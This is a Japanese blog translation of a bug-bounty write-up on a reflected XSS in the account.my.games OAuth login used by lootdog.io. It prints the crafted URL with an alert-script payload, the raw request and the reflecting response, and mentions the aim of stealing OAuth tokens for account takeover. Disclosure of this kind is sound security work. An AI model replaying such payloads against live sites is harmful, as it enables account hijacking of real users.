Shikata Ga Nai

Private? There is no such things.

Reflected XSS on a Public Programを訳してみた

Hello there, ('ω')ノ

 

公開プログラムに反映されたXSSを。

 

脆弱性:

 反映されたXSS

 

記事:

 https://thevillagehacker.medium.com/reflected-xss-on-a-public-program-e8c0416daca1

 

HackerOneの公開プログラムのhttps://lootdog.io/をターゲットに。

1時間の偵察の後、Oauthリクエストで意図しない動作を見つけることができて。


テクニカル分析:

https://lootdog.io/からのログイン要求を。

インターセプトしてリピーターに送信して。

Oauthがどのように機能するかを観察しました。

 

https://lootdog.io/は、https://account.my.gamesをOauthサービスとして使用して。

ログインをクリックすると、https://account.my.gamesにリダイレクトされ。

ログインできるので、Reflected XSSやOpenリダイレクトの問題をチェックして。

Oauthトークンを取得してユーザのアカウントを引き継ぐことに。

 

以下のようにリクエストのキー設定された値の最後にパラメータを追加することに。

 &Set-Cookie: <script>alert(“Hacked By Deathstroke”)</script>

 

最終的に作成されたURLは、下記のようになることに。

 

https://account.my.games/oauth2/login/?continue=https%3A%2F%2Faccount.my.games%2Foauth2%2F%3Fredirect_uri%3Dhttps%253A%252F%252Flootdog.io%252Fsocial%252Fcomplete%252Fo2mygames%252F%26client_id%3Dlootdog_io%26response_type%3Dcode%26signup_social%3Dmailru%2Cfb%2Cok%2Cvk%2Cg%2Ctwitch%2Ctw%26signup_method%3Demail%252Cphone%26lang%3DEN&client_id=lootdog_io&lang=EN&signup_method=email%2Cphone&signup_social=mailru%2Cfb%2Cok%2Cvk%2Cg%2Ctwitch%2Ctw&Set-Cookie: <script>alert("Hacked By Deathstroke")</script>

 

よって、下記のようにURLの最後にペイロードを挿入して、リクエストを送信して。

レスポンスを観察することに。

 

Request:

GET /oauth2/login/?continue=https%3A%2F%2Faccount.my.games%2Foauth2%2F%3Fredirect_uri%3Dhttps%253A%252F%252Flootdog.io%252Fsocial%252Fcomplete%252Fo2mygames%252F%26client_id%3Dlootdog_io%26response_type%3Dcode%26signup_social%3Dmailru%2Cfb%2Cok%2Cvk%2Cg%2Ctwitch%2Ctw%26signup_method%3Demail%252Cphone%26lang%3DEN&client_id=lootdog_io&lang=EN&signup_method=email%2Cphone&signup_social=mailru%2Cfb%2Cok%2Cvk%2Cg%2Ctwitch%2Ctw&Set-Cookie: <script>alert("Hacked By Deathstroke")</script> HTTP/1.1

Host: account.my.games
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:73.0) Gecko/20100101 Firefox/73.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://lootdog.io/
Connection: close

 

 

Response:

<script>alert("Hacked By Deathstroke")</script> HTTP/1.0 200 OK

Content-Type: text/html; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 3982
Vary: Origin

 

残念ながら、応答には目的とするアクセストークンには反映されなかったものの。

この問題が他のセキュリティ上の脅威を引き起こす可能性があって。

 

f:id:ThisIsOne:20210819164608p:plain

 

HTTPレスポンスに反映されるペイロードが機能したようで。

 

f:id:ThisIsOne:20210819164549p:plain

 

Best regards, (^^ゞ